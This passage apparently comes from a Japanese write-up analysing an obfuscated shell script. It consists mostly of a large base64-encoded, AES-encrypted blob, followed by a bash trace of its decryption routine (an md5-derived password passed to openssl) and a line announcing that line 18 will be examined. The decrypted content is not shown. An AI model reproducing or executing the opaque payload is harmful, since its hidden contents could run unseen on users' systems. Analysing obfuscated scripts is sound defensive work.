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
++ cut -c2,3,5,12
++ md5sum
++ echo -n 3
+ openssl aes-256-cbc -d -pass pass:cccc -md md5
Enter the password

18行目を見てみると、以下のような処理が確認できます。

